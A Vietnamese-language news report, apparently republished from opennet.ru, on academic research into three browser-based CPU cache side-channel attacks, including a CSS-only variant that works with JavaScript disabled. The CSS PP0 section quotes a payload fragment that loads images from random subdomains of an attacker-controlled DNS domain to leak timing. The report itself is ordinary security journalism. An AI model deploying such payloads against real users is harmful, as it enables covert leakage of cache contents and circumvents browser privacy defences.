Cuộc tấn công trích xuất bộ đệm CPU được thực hiện trong trình duyệt web không có JavaScript

Một nhóm các nhà nghiên cứu từ một số trường đại học Mỹ, Israel và Úc đã phát triển ba cuộc tấn công chạy trên trình duyệt web để trích xuất thông tin về nội dung của bộ nhớ đệm của bộ xử lý. Một phương pháp hoạt động trong các trình duyệt không có JavaScript và hai phương pháp còn lại bỏ qua các phương pháp bảo vệ hiện có chống lại các cuộc tấn công kênh bên, bao gồm cả các phương pháp được sử dụng trong trình duyệt Tor và DeterFox. Mã trình diễn các cuộc tấn công cũng như các thành phần máy chủ cần thiết cho các cuộc tấn công được xuất bản trên GitHub.

Để phân tích nội dung của bộ đệm, tất cả các cuộc tấn công đều sử dụng phương pháp Prime+Probe, bao gồm việc lấp đầy bộ đệm bằng một bộ giá trị tiêu chuẩn và phát hiện các thay đổi bằng cách đo thời gian truy cập vào chúng khi nạp lại chúng. Để vượt qua các cơ chế bảo mật có trong trình duyệt can thiệp vào việc đo thời gian chính xác, có hai tùy chọn, khiếu nại được gửi đến máy chủ DNS hoặc WebSocket do kẻ tấn công kiểm soát, máy chủ này sẽ ghi nhật ký về thời gian nhận được yêu cầu. Theo một phương án, thời gian phản hồi DNS cố định được sử dụng làm tham chiếu thời gian.

Các phép đo được thực hiện bằng máy chủ DNS hoặc WebSocket bên ngoài, sử dụng hệ thống phân loại dựa trên máy học, đủ để dự đoán các giá trị với độ chính xác lên tới 98% trong kịch bản tối ưu nhất (trung bình 80-90%). Các phương thức tấn công đã được thử nghiệm trên nhiều nền tảng phần cứng khác nhau (Intel, AMD Ryzen, Apple M1, Samsung Exynos) và đã được chứng minh là có tính phổ biến.

Cuộc tấn công trích xuất bộ đệm CPU được thực hiện trong trình duyệt web không có JavaScript

Biến thể đầu tiên của cuộc tấn công DNS Racing sử dụng cách triển khai cổ điển của phương pháp Prime+Probe bằng cách sử dụng mảng JavaScript. Sự khác biệt nằm ở việc sử dụng bộ hẹn giờ dựa trên DNS bên ngoài và trình xử lý lỗi, được kích hoạt khi cố gắng tải hình ảnh từ một miền không tồn tại. Bộ hẹn giờ bên ngoài cho phép tấn công Prime+Probe trên các trình duyệt giới hạn hoặc vô hiệu hóa hoàn toàn quyền truy cập vào bộ hẹn giờ JavaScript.

Đối với máy chủ DNS nằm trên cùng một mạng Ethernet, độ chính xác của bộ đếm thời gian được ước tính là khoảng 2 ms, đủ để thực hiện một cuộc tấn công kênh bên (để so sánh, độ chính xác của bộ đếm thời gian JavaScript tiêu chuẩn trong Tor Browser là giảm xuống còn 100 ms). Đối với cuộc tấn công, không cần phải có quyền kiểm soát máy chủ DNS vì thời gian thực hiện thao tác được chọn sao cho thời gian phản hồi từ DNS đóng vai trò là dấu hiệu cho thấy việc kiểm tra đã hoàn tất trước đó (tùy thuộc vào việc trình xử lý lỗi có được kích hoạt hay không). sớm hay muộn thì kết luận sẽ được đưa ra về tốc độ của hoạt động kiểm tra với bộ đệm).

Phương thức tấn công thứ hai, "String and Sock", nhằm mục đích vượt qua các kỹ thuật bảo mật hạn chế việc sử dụng mảng trong JavaScript ở mức độ thấp. Thay vì mảng, String và Sock sử dụng các thao tác trên các chuỗi rất lớn, kích thước của chuỗi này được chọn sao cho biến bao phủ toàn bộ bộ đệm LLC (Bộ đệm cấp độ cuối cùng). Tiếp theo, bằng cách sử dụng hàm indexOf(), một chuỗi con nhỏ được tìm kiếm trong chuỗi, chuỗi này ban đầu không có trong chuỗi nguồn, tức là. kết quả của hoạt động tìm kiếm là lặp lại toàn bộ chuỗi. Vì kích thước dòng tương ứng với kích thước của bộ đệm LLC nên việc quét cho phép bạn thực hiện thao tác kiểm tra bộ đệm mà không cần thao tác với các mảng. Để đo độ trễ, thay vì DNS, một cuộc gọi được thực hiện đến máy chủ WebSocket do kẻ tấn công kiểm soát - trước và sau khi thao tác tìm kiếm hoàn tất, các truy vấn sẽ được gửi theo đường dây, dựa vào đó máy chủ sẽ tính toán độ trễ được sử dụng để phân tích bộ đệm nội dung.

Biến thể thứ ba của cuộc tấn công “CSS PP0” được triển khai thông qua HTML và CSS và có thể hoạt động trong các trình duyệt bị tắt JavaScript. Phương pháp này tương tự như "String and Sock", nhưng không bị ràng buộc với JavaScript. Trong cuộc tấn công, một bộ bộ chọn CSS được tạo ra để tìm kiếm theo mặt nạ. Chuỗi lớn ban đầu lấp đầy bộ đệm được đặt bằng cách tạo thẻ div có tên lớp rất lớn. Bên trong có một tập hợp các div khác có mã định danh riêng. Mỗi div lồng nhau này có kiểu riêng với bộ chọn tìm kiếm chuỗi con. Khi hiển thị một trang, trước tiên trình duyệt sẽ cố gắng xử lý các div bên trong, dẫn đến thao tác tìm kiếm trên một hàng lớn. Việc tìm kiếm được thực hiện bằng cách sử dụng một mặt nạ bị thiếu có chủ ý và dẫn đến việc lặp lại trên toàn bộ dòng, sau đó điều kiện “không” được kích hoạt và nỗ lực tải hình nền tham chiếu các miền ngẫu nhiên được thực hiện: #pp:not([class*=’xjtoxg’]) #s0 {background-image: url(«https://qdlvibmr.helldomain.oy.ne.ro»);} #pp:not([class*=’gzstxf’]) #s1 {background-image: url(«https://licfsdju.helldomain.oy.ne.ro»);} … X X ...

Tên miền phụ được phục vụ bởi máy chủ DNS của kẻ tấn công, máy chủ này có thể đo lường độ trễ trong việc nhận yêu cầu. Máy chủ DNS phát hành NXDOMAIN cho tất cả các yêu cầu và lưu giữ nhật ký về thời gian chính xác của các yêu cầu. Do xử lý một tập hợp div, máy chủ DNS của kẻ tấn công nhận được một loạt yêu cầu, độ trễ giữa các yêu cầu đó tương quan với kết quả kiểm tra nội dung bộ đệm.

Cuộc tấn công trích xuất bộ đệm CPU được thực hiện trong trình duyệt web không có JavaScript


Nguồn: opennet.ru

Thêm một lời nhận xét